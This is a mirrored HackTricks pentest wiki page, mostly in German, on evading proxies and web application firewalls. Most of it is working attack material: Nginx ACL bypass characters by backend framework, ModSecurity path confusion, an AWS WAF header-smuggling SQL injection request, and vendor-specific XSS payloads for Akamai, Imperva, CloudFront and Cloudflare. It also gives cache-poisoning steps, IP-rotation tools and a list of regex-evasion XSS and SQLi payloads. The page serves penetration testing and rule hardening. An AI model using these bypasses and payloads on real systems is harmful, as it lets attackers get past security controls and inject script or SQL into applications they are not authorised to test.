mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
235 lines
16 KiB
Markdown
235 lines
16 KiB
Markdown
# Proxy / WAF Protections Bypass
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
|
||
## Bypass Nginx ACL Rules with Pathname Manipulation <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||
|
||
Techniken [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||
|
||
Nginx-Regelbeispiel:
|
||
```plaintext
|
||
location = /admin {
|
||
deny all;
|
||
}
|
||
|
||
location = /admin/ {
|
||
deny all;
|
||
}
|
||
```
|
||
Um Bypässe zu verhindern, führt Nginx eine Pfadnormalisierung durch, bevor es geprüft wird. Wenn der Backend-Server jedoch eine andere Normalisierung durchführt (z. B. das Entfernen von Zeichen, die nginx nicht entfernt), kann es möglich sein, diese Abwehr zu umgehen.
|
||
|
||
### **NodeJS - Express**
|
||
|
||
| Nginx Version | **Node.js Bypass Characters** |
|
||
| ------------- | ----------------------------- |
|
||
| 1.22.0 | `\xA0` |
|
||
| 1.21.6 | `\xA0` |
|
||
| 1.20.2 | `\xA0`, `\x09`, `\x0C` |
|
||
| 1.18.0 | `\xA0`, `\x09`, `\x0C` |
|
||
| 1.16.1 | `\xA0`, `\x09`, `\x0C` |
|
||
|
||
### **Flask**
|
||
|
||
| Nginx Version | **Flask Bypass Characters** |
|
||
| ------------- | -------------------------------------------------------------- |
|
||
| 1.22.0 | `\x85`, `\xA0` |
|
||
| 1.21.6 | `\x85`, `\xA0` |
|
||
| 1.20.2 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||
| 1.18.0 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||
| 1.16.1 | `\x85`, `\xA0`, `\x1F`, `\x1E`, `\x1D`, `\x1C`, `\x0C`, `\x0B` |
|
||
|
||
### **Spring Boot**
|
||
|
||
| Nginx Version | **Spring Boot Bypass Characters** |
|
||
| ------------- | --------------------------------- |
|
||
| 1.22.0 | `;` |
|
||
| 1.21.6 | `;` |
|
||
| 1.20.2 | `\x09`, `;` |
|
||
| 1.18.0 | `\x09`, `;` |
|
||
| 1.16.1 | `\x09`, `;` |
|
||
|
||
### **PHP-FPM**
|
||
|
||
Nginx FPM-Konfiguration:
|
||
```plaintext
|
||
location = /admin.php {
|
||
deny all;
|
||
}
|
||
|
||
location ~ \.php$ {
|
||
include snippets/fastcgi-php.conf;
|
||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||
}
|
||
```
|
||
Nginx ist so konfiguriert, dass der Zugriff auf `/admin.php` blockiert wird, aber es ist möglich, dies zu umgehen, indem man `/admin.php/index.php` aufruft.
|
||
|
||
### Wie verhindert man das?
|
||
```plaintext
|
||
location ~* ^/admin {
|
||
deny all;
|
||
}
|
||
```
|
||
## ModSecurity-Regeln umgehen <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||
|
||
### Pfad-Verwirrung
|
||
|
||
[**In diesem Beitrag**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) wird erklärt, dass ModSecurity v3 (bis 3.0.12) **die Variable `REQUEST_FILENAME` fehlerhaft implementiert** hat, die den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Dies liegt daran, dass eine URL-Decodierung durchgeführt wurde, um den Pfad zu erhalten.\
|
||
Deshalb wird eine Anfrage wie `http://example.com/foo%3f';alert(1);foo=` in mod security so behandelt, als wäre der Pfad nur `/foo`, weil `%3f` in `?` umgewandelt wird und damit das URL-Pfadende markiert, in Wirklichkeit erhält der Server aber den Pfad `/foo%3f';alert(1);foo=`.
|
||
|
||
Die Variablen `REQUEST_BASENAME` und `PATH_INFO` waren ebenfalls von diesem Bug betroffen.
|
||
|
||
Etwas Ähnliches trat in Version 2 von ModSecurity auf, was es erlaubte, einen Schutz zu umgehen, der Benutzer daran hinderte, auf Dateien mit bestimmten Erweiterungen für Backup-Dateien (wie `.bak`) zuzugreifen, indem der Punkt einfach URL-codiert als `%2e` gesendet wurde, zum Beispiel: `https://example.com/backup%2ebak`.
|
||
|
||
## AWS WAF ACL umgehen <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||
|
||
### Fehlformatierter Header
|
||
|
||
[Diese Untersuchung](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein "malformed" Header gesendet wurde, der von AWS nicht korrekt geparst wurde, wohl aber vom Backend-Server.
|
||
|
||
Zum Beispiel, wenn man die folgende Anfrage mit einer SQL-Injection im Header X-Query sendet:
|
||
```http
|
||
GET / HTTP/1.1\r\n
|
||
Host: target.com\r\n
|
||
X-Query: Value\r\n
|
||
\t' or '1'='1' -- \r\n
|
||
Connection: close\r\n
|
||
\r\n
|
||
```
|
||
Es war möglich, AWS WAF zu umgehen, weil es nicht erkannte, dass die nächste Zeile Teil des Header-Werts ist, während der NODEJS-Server das tat (dies wurde behoben).
|
||
|
||
## Generische WAF-Umgehungen
|
||
|
||
### Limits für Request-Größe
|
||
|
||
WAFs haben üblicherweise eine maximale Länge von Requests, die sie prüfen können. Überschreitet eine POST/PUT/PATCH-Anfrage diese, wird die Anfrage vom WAF nicht geprüft.
|
||
|
||
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||
|
||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Maximale Größe des Request-Bodys, die für Application Load Balancer und AWS AppSync protections inspiziert werden kann</td><td>8 KB</td></tr><tr><td>Maximale Größe des Request-Bodys, die für CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections** inspiziert werden kann</td><td>64 KB</td></tr></tbody></table>
|
||
|
||
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||
|
||
Ältere Web Application Firewalls mit Core Rule Set 3.1 (oder älter) erlauben Nachrichten größer als **128 KB**, indem die Inspektion des Request-Bodys deaktiviert wird, diese Nachrichten werden dann jedoch nicht auf Schwachstellen geprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) lässt sich dasselbe erreichen, indem das maximale Request-Body-Limit deaktiviert wird. Wenn eine Anfrage das Größenlimit überschreitet:
|
||
|
||
Wenn **prevention mode**: Protokolliert und blockiert die Anfrage.\
|
||
Wenn **detection mode**: Inspiziert bis zum Limit, ignoriert den Rest und protokolliert, wenn der `Content-Length` das Limit überschreitet.
|
||
|
||
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||
|
||
Standardmäßig inspiziert der WAF nur die ersten 8KB einer Anfrage. Das Limit kann auf bis zu 128KB erhöht werden, indem Advanced Metadata hinzugefügt wird.
|
||
|
||
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||
|
||
Bis zu 128KB.
|
||
|
||
### Static assets inspection gaps (.js GETs)
|
||
|
||
Einige CDN/WAF-Stacks wenden bei GET-Requests für statische Assets (z. B. Pfade, die mit `.js` enden) nur schwache oder gar keine Inhaltsinspektion an, während globale Regeln wie Rate-Limiting und IP-Reputation weiterhin gelten. In Kombination mit Auto-Caching statischer Extensions lässt sich dies missbrauchen, um bösartige Varianten auszuliefern oder zu platzieren, die nachfolgende HTML-Antworten beeinflussen.
|
||
|
||
Praktische Anwendungsfälle:
|
||
|
||
- Sende Payloads in nicht vertrauenswürdigen Headern (z. B. `User-Agent`) mit einem GET auf einen `.js`-Pfad, um die Inhaltsinspektion zu umgehen, und fordere dann sofort das Haupt-HTML an, um die gecachte Variante zu beeinflussen.
|
||
- Verwende eine frische/saubere IP; sobald eine IP markiert ist, können Routing-Änderungen die Technik unzuverlässig machen.
|
||
- In Burp Repeater, verwende "Send group in parallel" (single-packet style), um die beiden Requests (`.js` dann HTML) in einem Rennen durch denselben Front-End-Pfad zu schicken.
|
||
|
||
This pairs well with header-reflection cache poisoning. See:
|
||
|
||
{{#ref}}
|
||
cache-deception/README.md
|
||
{{#endref}}
|
||
|
||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||
|
||
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
|
||
```bash
|
||
# IIS, ASP Clasic
|
||
<%s%cr%u0131pt> == <script>
|
||
|
||
# Path blacklist bypass - Tomcat
|
||
/path1/path2/ == ;/path1;foo/path2;bar/;
|
||
```
|
||
### Unicode-Kompatibilität <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||
|
||
Je nach Implementierung der Unicode-Normalisierung (mehr Infos [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)) können Zeichen, die Unicode-kompatibel sind, den WAF umgehen und als beabsichtigte payload ausgeführt werden. Kompatible Zeichen finden Sie [here](https://www.compart.com/en/unicode).
|
||
|
||
#### Beispiel <a href="#example" id="example"></a>
|
||
```bash
|
||
# under the NFKD normalization algorithm, the characters on the left translate
|
||
# to the XSS payload on the right
|
||
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
|
||
```
|
||
### Bypass Contextual WAFs with encodings <a href="#ip-rotation" id="ip-rotation"></a>
|
||
|
||
Wie in [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) erwähnt, können wir, um WAFs zu umgehen, die den Kontext der Benutzereingabe beibehalten, die WAF-Mechanismen ausnutzen, um die Benutzereingabe tatsächlich zu normalisieren.
|
||
|
||
Zum Beispiel wird im Beitrag erwähnt, dass **Akamai eine Benutzereingabe 10 Mal URL-decodet**. Daher wird etwas wie `<input/%2525252525252525253e/onfocus` von Akamai als `<input/>/onfocus` gesehen, was **als in Ordnung angesehen werden könnte, da das Tag geschlossen ist**. Wenn die Anwendung jedoch die Eingabe nicht 10 Mal URL-decodet, sieht das Opfer etwas wie `<input/%25252525252525253e/onfocus`, was **immer noch für einen XSS-Angriff gültig ist**.
|
||
|
||
Daher lässt sich damit **Payloads in kodierten Komponenten verbergen**, die der WAF decodiert und interpretiert, während das Opfer sie nicht sieht.
|
||
|
||
Außerdem kann das nicht nur mit URL-kodierten Payloads gemacht werden, sondern auch mit anderen Encodings wie unicode, hex, octal...
|
||
|
||
Im Beitrag werden folgende finale Bypässe vorgeschlagen:
|
||
|
||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||
|
||
Es wird außerdem erwähnt, dass es je nach **Art und Weise, wie einige WAFs den Kontext** der Benutzereingabe verstehen, möglich sein kann, dies auszunutzen. Das im Blog vorgeschlagene Beispiel ist, dass Akamai erlaubte (oder erlaubte), beliebige Zeichen zwischen `/*` und `*/` zu platzieren (möglicherweise weil dies häufig als Kommentar verwendet wird). Daher würde eine SQLinjection wie `/*'or sleep(5)-- -*/` nicht erkannt werden und gültig sein, da `/*` der Beginn der Injection ist und `*/` kommentiert ist.
|
||
|
||
Solche Kontextprobleme können auch genutzt werden, um **andere Schwachstellen auszunutzen als diejenige, die vom WAF erwartet** wird (z. B. könnte dies auch verwendet werden, um XSS auszunutzen).
|
||
|
||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||
|
||
|
||
{{#ref}}
|
||
h2c-smuggling.md
|
||
{{#endref}}
|
||
|
||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||
|
||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generiert eine API gateway URL, die mit ffuf verwendet werden kann
|
||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Ähnlich wie fireprox
|
||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite Plugin, das API gateway IPs nutzt
|
||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): Eine dynamisch bestimmte Anzahl von Container-Instanzen wird basierend auf der Eingabedateigröße und dem Split-Faktor aktiviert, wobei die Eingabe in Chunks für parallele Ausführung aufgeteilt wird — z. B. 100 Instanzen, die 100 Chunks einer 10.000-zeiligen Eingabedatei mit einem Split-Faktor von 100 Zeilen verarbeiten.
|
||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||
|
||
### Regex Bypasses
|
||
|
||
Verschiedene Techniken können verwendet werden, um die Regex-Filter von Firewalls zu umgehen. Beispiele sind abwechselnde Groß-/Kleinschreibung, Einfügen von Zeilenumbrüchen und Kodieren von Payloads. Ressourcen für die verschiedenen Bypässe finden sich bei [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) und [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html). Die untenstehenden Beispiele wurden aus [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) entnommen.
|
||
```bash
|
||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||
<script>alert(XSS) // #removing the closing tag
|
||
<script>alert`XSS`</script> #using backticks instead of parenetheses
|
||
java%0ascript:alert(1) #using encoded newline characters
|
||
<iframe src=http://malicous.com < #double open angle brackets
|
||
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
|
||
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
|
||
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
|
||
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
|
||
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
|
||
<iframe src="javascript:alert(`xss`)"> #unicode encoding
|
||
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
|
||
new Function`alt\`6\``; #using backticks instead of parentheses
|
||
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
|
||
%26%2397;lert(1) #using HTML encoding
|
||
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
|
||
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
|
||
```
|
||
## Werkzeuge
|
||
|
||
- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp-Plugin, um Anfragen mit Junk-Daten zu füllen, um WAFs anhand der Länge zu umgehen
|
||
|
||
## Referenzen
|
||
|
||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|